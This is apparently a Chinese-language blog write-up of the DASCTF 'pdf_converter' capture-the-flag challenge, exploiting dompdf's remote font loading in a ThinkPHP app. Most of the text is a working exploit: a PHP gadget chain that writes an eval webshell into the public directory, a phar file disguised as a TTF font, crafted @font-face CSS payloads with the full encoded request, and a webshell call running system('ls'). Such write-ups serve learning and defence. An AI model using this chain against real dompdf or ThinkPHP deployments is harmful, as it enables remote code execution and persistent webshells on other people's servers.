web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战

原文链接:https://www.cnblogs.com/Nestar/p/17358862.html
image

题目内容

这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器
image

就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。
既然这么明显,那就搜索 dompdf 漏洞

知识点

首先看到:https://ghostasky.github.io/2022/03/19/dompdf/
首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件

@font-face {
    font-family:'exploitfont';
    src:url('http://localhost:9001/xxxx.ttf');
    font-weight:'normal';
    font-style:'normal';
  }

然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf 格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。
但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!
然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name 这样就可以触发 phar 反序列化了。

上手试试

这里需要参考大佬的文章:https://buaq.net/go-129526.html

<?php
namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    public function __construct()
    {
        $this->options['path'] = 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php'; # 这里确定写入的文件内容 PD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4= base64 解码即可。
        $this->options['cache_subdir'] = false;
        $this->options['prefix'] = false;
        $this->options['data_compress'] = false;
        $this->tag = 111;
    }

}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;

    public function __construct()
    {
        $this->handler = new File();
    }
}

namespace think\console;

use think\session\driver\Memcached;

class Output
{
    protected $styles = [];
    private $handle = null;

    public function __construct()
    {
        $this->styles = ["getAttr"];
        $this->handle = new Memcached();
    }

}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
}

namespace think\model\relation;

use think\db\Query;

class HasOne
{
    protected $query;
    protected $selfRelation;
    protected $bindAttr = [];

    public function __construct()
    {
        $this->query = new Query();
        $this->selfRelation = false;
        $this->bindAttr = ["key无所谓" => "some string"];  // value 是半可控,不能出现 attr !
    }
}

namespace think;
abstract class Model
{
}

namespace think\model;

use think\console\Output;
use think\Model;
use think\model\relation\HasOne;

class Pivot extends Model
{
    protected $error;
    protected $append = [];
    public $parent;

    public function __construct()
    {
        $this->append = ['key' => 'getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\process\pipes;
abstract class Pipes
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}


# 内含 phpinfo();
$tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg==";
$win = new Windows();


@unlink("exp_dompdf.phar");
$phar = new \Phar("exp_dompdf.phar");
$phar->stopBuffering();
$phar->setStub(base64_decode($tty_file_bate64).'<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($win);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
$exp_base = base64_encode(file_get_contents("exp_dompdf.phar"));
$url_encode_exp_base = urlencode(urlencode($exp_base));

# 第一步
$style_str = <<<EOF
content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,$url_encode_exp_base'); font-weight:'normal'; font-style:'normal'; } </style>
EOF;
echo "第一步,传入 phar 文件:\n".$style_str;

# 第二步
$path = "data:text/plain;base64,".$exp_base;
$md5_str = md5($path);

$phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##";
$style_str = <<<EOF
content=<style> @font-face { font-family:'exploit'; src:url('$phar_file_path'); font-weight:'normal'; font-style:'normal'; } </style>
EOF;
echo "\n第二步,执行 phar 文件:\n".$style_str;


##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????

代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq
下半部分是 phar 文件和 payload 的生成

然后就是算 MD5 的哪里,就是算不对,真实服了啊
没办法只能本地的 dompdf 运行一下看看 md5 是啥了
我这里直接给出三次请求的内容吧
request 1:
image

content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KRQUAAAEAAAARAAAAAQAAAAAADwUAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiYzNOelhTazdQejQ9Ly4uL3B1YmxpYy8yLnBocCI7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO2I6MDtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtpOjExMTt9fX19czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czoxMToiACoAYmluZEF0dHIiO2E6MTp7czoxMjoia2V55peg5omA6LCTIjtzOjExOiJzb21lIHN0cmluZyI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImtleSI7czo4OiJnZXRFcnJvciI7fXM6NjoicGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czo0OiJwYXRoIjtzOjEyNToicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlIUlZSYmMzTnpYU2s3UHo0PS8uLi9wdWJsaWMvMi5waHAiO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtiOjA7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7aToxMTE7fX19fX19CAAAAHRlc3QudHh0BAAAAMMVSmQEAAAADH5%252F2KQBAAAAAAAAdGVzdFsaHYAFdtOEpCq1Wjk9ct1aCG2dro9W7jnzV%252FbzvkuZAwAAAEdCTUI%253D'); font-weight:'normal'; font-style:'normal'; } </style>

requests2:
image
image

content=<style> @font-face { font-family:'exploit'; src:url('phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_ae0d25af97028f23b0a1a340f874fa6c.ttf##'); font-weight:'normal'; font-style:'normal'; } </style>

request 3:
image
http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system('ls');
这里的 webshell 密钥是代码哪里写入的 shell 里的
写入的 webshell 的位置也是代码中确定的,以前我写的是 /../2.php 导致会跳到根目录就访问不到了。
获取 flag
image

posted @ 2023-04-27 15:04  Nestar  阅读(187)  评论(0编辑  收藏  举报